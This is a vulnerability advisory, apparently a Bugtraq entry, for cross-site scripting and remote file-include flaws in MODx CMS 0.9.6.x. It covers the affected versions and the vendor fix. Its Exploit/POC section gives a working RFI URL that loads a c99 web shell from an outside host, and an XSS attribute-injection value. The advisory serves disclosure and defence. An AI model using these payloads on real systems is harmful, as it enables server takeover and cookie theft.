MODx CMS Cross Site Scripting and Remote File Include Vulnerabilities
BID:32436
Info
MODx CMS Cross Site Scripting and Remote File Include Vulnerabilities
| Bugtraq ID: | 32436 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-5938 |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 23 2008 12:00AM |
| Updated: | May 07 2015 05:20PM |
| Credit: | RoMaNcYxHaCkEr |
| Vulnerable: |
MODx MODx 0.9.6 .2 MODx MODx 0.9.6 .1p1 MODx MODx 0.9.6 .1 MODx MODx 0.9.6 |
| Not Vulnerable: | |
Discussion
MODx CMS Cross Site Scripting and Remote File Include Vulnerabilities
MODx CMS is prone to a cross-site scripting vulnerability and a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker can exploit these issues to execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Attackers may also execute script code in an unsuspecting user's browser or steal cookie-based authentication credentials; other attacks are also possible.
These issues affect MODx CMS 0.9.6.2; other versions may also be vulnerable.
MODx CMS is prone to a cross-site scripting vulnerability and a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker can exploit these issues to execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Attackers may also execute script code in an unsuspecting user's browser or steal cookie-based authentication credentials; other attacks are also possible.
These issues affect MODx CMS 0.9.6.2; other versions may also be vulnerable.
Exploit / POC
MODx CMS Cross Site Scripting and Remote File Include Vulnerabilities
An attacker can exploit these issues via a browser. To exploit the cross-site scripting issue, the attacker must entice an unsuspecting victim into following a malicious URI.
The following example URIs are available:
Remote File-Include:
http://www.example.com/modx-0.9.6.2/assets/snippets/reflect/snippet.reflect.php?reflect_base=http://www.shellbox.com.ar/%5Bc%5D/c99.txt?
Cross-Site Scripting:
The attacker creates a malicious POST request that sets the username box to the following value: "+onmouseover=alert(400942638703)+".
An attacker can exploit these issues via a browser. To exploit the cross-site scripting issue, the attacker must entice an unsuspecting victim into following a malicious URI.
The following example URIs are available:
Remote File-Include:
http://www.example.com/modx-0.9.6.2/assets/snippets/reflect/snippet.reflect.php?reflect_base=http://www.shellbox.com.ar/%5Bc%5D/c99.txt?
Cross-Site Scripting:
The attacker creates a malicious POST request that sets the username box to the following value: "+onmouseover=alert(400942638703)+".
Solution / Fix
MODx CMS Cross Site Scripting and Remote File Include Vulnerabilities
Solution:
The vendor has addressed the remote-file include issue by removing the vulnerable script from the application.
A solution for the cross-site scripting vulnerability is not yet available. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
The vendor has addressed the remote-file include issue by removing the vulnerable script from the application.
A solution for the cross-site scripting vulnerability is not yet available. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
MODx CMS Cross Site Scripting and Remote File Include Vulnerabilities
References:
References:
- Reflect RFI Exploit (rthrash)
- Vendor Homepage (MODx)